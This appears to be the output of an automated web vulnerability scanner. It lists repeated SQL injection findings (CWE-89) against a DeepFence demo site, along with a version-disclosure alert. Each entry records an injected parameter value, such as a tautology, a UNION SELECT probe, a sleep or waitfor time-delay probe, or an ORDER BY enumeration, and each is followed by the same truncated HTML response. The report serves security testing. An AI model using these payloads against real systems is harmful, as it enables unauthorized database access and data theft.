<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1394
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1395Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1396
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1397
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1398
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# ')) or sleep(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1399
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1400
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1401
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1402
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ;waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1403
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ;%00
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1404
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' or 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1405
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 25--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1406
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin" or "1"="1"/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1407
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1408Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
